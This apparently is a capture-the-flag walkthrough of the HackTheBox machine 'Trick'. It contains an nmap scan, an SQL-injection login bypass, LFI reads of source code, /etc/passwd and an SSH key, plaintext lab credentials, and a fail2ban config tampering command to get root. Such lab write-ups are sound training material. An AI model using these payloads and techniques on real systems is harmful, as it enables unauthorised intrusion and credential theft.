Hackthebox - Trick
Summary HackTheBox - Trick was a easy Linux machine created by Geiseric . It starts starts with some enumeration to find a virtual host. There’s an SQL injection that allows bypassing the authentication, and reading files from the system. That file read leads to another subdomain, which has a file include. I’ll show how to use that LFI to get execution via mail poisoning, log poisoning, and just reading an SSH key. To escalate to root, I’ll abuse fail2ban.
Initial Enumeration 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 Starting Nmap 7.92 ( https:/ / nmap.org ) at 2022 -10 -15 10 :37 IST Nmap scan report for trick.htb (10.10 .11 .166 ) Host is up (0.089 s latency). Not shown: 996 closed tcp ports (reset)PORT STATE SERVICE VERSION 22 / tcp open ssh OpenSSH 7.9 p1 Debian 10 + deb10u2 (protocol 2.0 )| ssh- hostkey:| 2048 61 :ff:29 :3 b:36 :bd:9 d:ac:fb:de:1 f:56 :88 :4 c:ae:2 d (RSA)| 256 9 e:cd:f2:40 :61 :96 :ea:21 :a6:ce:26 :02 :af:75 :9 a:78 (ECDSA)| _ 256 72 :93 :f9:11 :58 :de:34 :ad:12 :b5:4 b:4 a:73 :64 :b9:70 (ED25519)25 / tcp open smtp Postfix smtpd| _smtp- commands: debian.localdomain, PIPELINING, SIZE 10240000 , VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8 BITMIME, DSN, SMTPUTF8, CHUNKING53 / tcp open domain ISC BIND 9.11 .5 - P4-5.1 + deb10u7 (Debian Linux)| dns- nsid:| _ bind.version: 9.11 .5 - P4-5.1 + deb10u7- Debian80 / tcp open http nginx 1.14 .2 | _http- title: Coming Soon - Start Bootstrap Theme| _http- server- header: nginx/ 1.14 .2 Service Info: Host: debian.localdomain; OS: Linux; CPE: cpe:/ o:linux:linux_kernel Service detection performed. Please report any incorrect results at https:/ / nmap.org/ submit/ . Nmap done: 1 IP address (1 host up) scanned in 53.93 seconds
DNS Enumeration Enumerating DNS we can get zone transfer which expose an CNAME as preprod-payroll.trick.htb
Web trick.htb Visiting tick.htb we don’t find anything interesting
preprod-payroll.trick.htb We see an login page
Trying SQLi ' OR 1=1 --
We get into the system
Checking the user page we get the credential for Administrator
Enemigosss:SuperGucciRainbowCake
Trying LFI on page
parameter we see can get file
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 <!DOCTYPE html> <html lang="en" > <head> <meta charset="utf-8" > <meta content="width=device-width, initial-scale=1.0" name="viewport" > <title>Admin | Employee's Payroll Management System</title> <?php session_start(); if(!isset($_SESSION[' login_id'])) header(' location:login.php'); include(' ./header.php'); // include(' ./auth.php'); ?> </head> <style> body{ background: #80808045; } .modal-dialog.large { width: 80% !important; max-width: unset; } .modal-dialog.mid-large { width: 50% !important; max-width: unset; } div#confirm_modal { z-index: 9991; } </style> <body> <?php include ' topbar.php' ?> <?php include ' navbar.php' ?> <div class="toast" id="alert_toast" role="alert" aria-live="assertive" aria-atomic="true"> <div class="toast-body text-white"> </div> </div> <main id="view-panel" > <?php $page = isset($_GET[' page']) ? $_GET[' page'] :' home'; ?> <?php include $page.' .php' ?> </main> <div id="preloader"></div> <a href="#" class="back-to-top"><i class="icofont-simple-up"></i></a> <div class="modal fade" id="confirm_modal" role=' dialog'> <div class="modal-dialog modal-md" role="document"> <div class="modal-content"> <div class="modal-header"> <h5 class="modal-title">Confirmation</h5> </div> <div class="modal-body"> <div id="delete_content"></div> </div> <div class="modal-footer"> <button type="button" class="btn btn-primary" id=' confirm' onclick="">Continue</button> <button type="button" class="btn btn-secondary" data-dismiss="modal">Close</button> </div> </div> </div> </div> <div class="modal fade" id="uni_modal" role=' dialog'> <div class="modal-dialog modal-md" role="document"> <div class="modal-content"> <div class="modal-header"> <h5 class="modal-title"></h5> </div> <div class="modal-body"> </div> <div class="modal-footer"> <button type="button" class="btn btn-primary" id=' submit' onclick="$(' <button type="button" class ="btn btn -secondary " data -dismiss ="modal ">Cancel </button > </div > </div > </div > </div > </body > <script > window .start_load = function () { $('body' ).prepend ('<di id="preloader2"></di>' ) } window.end_load = function ( ) { $('#preloader2' ).fadeOut ('fast' , function() { $(this).remove (); }) } window.uni_modal = function ($title = '' , $url ='' ,$size ="" ) { start_load () $.ajax ({ url :$url , error :err=>{ console.log () alert ("An error occured" ) }, success :function(resp){ if (resp){ $('#uni_modal .modal-title' ).html ($title ) $('#uni_modal .modal-body' ).html (resp) if ($size != '' ){ $('#uni_modal .modal-dialog' ).addClass ($size ) }else { $('#uni_modal .modal-dialog' ).removeAttr ("class" ).addClass ("modal-dialog modal-md" ) } $('#uni_modal' ).modal ({ show :true , backdrop :'static' , keyboard :false , focus :true }) end_load () } } }) } window._conf = function ($msg ='' ,$func ='' ,$params = [] ) { $('#confirm_modal #confirm' ).attr ('onclick' ,$func +"(" +$params .join (',' )+")" ) $('#confirm_modal .modal-body' ).html ($msg ) $('#confirm_modal' ).modal ({ show :true , backdrop :'static' , keyboard :false , focus :true }) } window.alert_toast= function ($msg = 'TEST' ,$bg = 'success' ) { $('#alert_toast' ).removeClass ('bg-success' ) $('#alert_toast' ).removeClass ('bg-danger' ) $('#alert_toast' ).removeClass ('bg-info' ) $('#alert_toast' ).removeClass ('bg-warning' ) if ($bg == 'success' ) $('#alert_toast' ).addClass ('bg-success' ) if ($bg == 'danger' ) $('#alert_toast' ).addClass ('bg-danger' ) if ($bg == 'info' ) $('#alert_toast' ).addClass ('bg-info' ) if ($bg == 'warning' ) $('#alert_toast' ).addClass ('bg-warning' ) $('#alert_toast .toast-body' ).html ($msg ) $('#alert_toast' ).toast ({delay :3000 }).toast ('show' ); } $(document).ready (function(){ $('#preloader' ).fadeOut ('fast' , function() { $(this).remove (); }) }) $('.datetimepicker' ).datetimepicker ({ format :'Y/m/d H:i' , startDate : '+3d' }) $('.select2' ).select2 ({ placeholder :"Please select here" , width : "100%" }) </script> </html>
Using the LFI and downloading all the files we find another set of Credentials in db_connect
1 2 3 4 <?php $conn = new mysqli ('localhost' , 'remo' , 'TrulyImpossiblePasswordLmao123' , 'payroll_db' ) or die ("Could not connect to mysql" . mysqli_error ($con ));
remo:TrulyImpossiblePasswordLmao123
Checking code in admin_class
we see ../index.php
so there is either a typo or maybe other subdomain Running wfuzz for VHOST enumeration with preprod prefix.
We find a new subdomain
Checking the page it seem there is another possiblity of LFI
Trying some LFI payload we can get /etc/passwd
Trying to brute password with michel
we get nothing
Lets try user ssh key maybe?
and BINGO! we get the key and we can get shell
Privilege Escalataion
Checking what all is owned by that group
/etc/fail2ban/action.d
We find failtoban actions
Modifying iptables-multiport.conf
1 2 rm -Rf *;cp /tmp/iptables-multiport.conf .;sudo /etc/init.d/fail2ban restart
And we get a shell as root